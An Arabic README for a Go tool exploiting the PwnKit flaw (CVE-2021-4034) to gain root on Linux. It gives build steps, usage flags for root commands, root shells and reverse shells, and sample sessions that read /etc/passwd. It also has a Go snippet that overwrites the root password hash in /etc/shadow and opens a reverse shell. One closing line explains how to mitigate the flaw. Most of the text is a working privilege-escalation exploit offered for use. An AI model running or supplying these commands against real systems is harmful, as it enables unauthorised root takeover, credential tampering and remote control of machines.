
تنفيذ بلغة Go لاستغلال PwnKit لتصعيد الامتيازات المحلية في لينكس (CVE-2021-4034)
تنفيذ نقي بلغة Go لاستغلال CVE-2021-4034 PwnKit.
يستخدم الاستغلال syscall.ForkExec للبقاء على قيد الحياة بعد انتهاء البرنامج الرئيسي.
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
نظرًا لأن الاستغلال يعتمد على مكتبة مشتركة خبيثة، يتم إنشاء ملف PWN.so من payload.go ويُدمج في ملف exploit الناتج.
يستخدم Makefile أداة sed لتغيير اسم الحزمة لملف payload.go مؤقتًا إلى main، مما يجعل هذا Makefile خاصًا بنظام Linux فقط.
نظرًا لأن حمولة Go ليست موثوقة مثل حمولة C، فإن Makefile سيقوم بتجميع الاستغلال مع حمولة C افتراضيًا. يمكنك اختيار التجميع مع حمولة Go باستخدام make build_go.
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
يمكن استخدام الاستغلال إما مع أمر (-c)، أو كقشرة عكسية (-r)، أو لفتح قشرة جذر (-s).
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
لاحظ أن Command و RevShell يستخدمان syscall.ForkExec لتشغيل الاستغلال، وبالتالي تكون العمليات الناتجة منفصلة عن البرنامج الرئيسي وتستمر بعد انتهائه.
على الرغم من إمكانية استيراد go-PwnKit إلى مشروعك من Github، لا تنسَ أنك ستنفذ مكتبة مشتركة غير موثوقة بصلاحيات الجذر. لذلك يُنصح بشدة باستخدام PWN.so مُجمّع محليًا. فقط للتوضيح 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
قم بتصحيح pkexec إذا أمكن، وإلا قم بتعطيل بت setuid على ملف pkexec الثنائي.
chmod 0755 /usr/bin/pkexec
هذا المشروع مستوحى من عدة PoCs أخرى لاستغلال PwnKit.
شكرًا لـ An00bRektn على إعداد الاستغلال المباشر.
شكرًا لـ PaterGottesman و berdav على وضوح شرح الاستغلال.
شكرًا لـ dzonerzy على خدعة GIO_USE_VFS.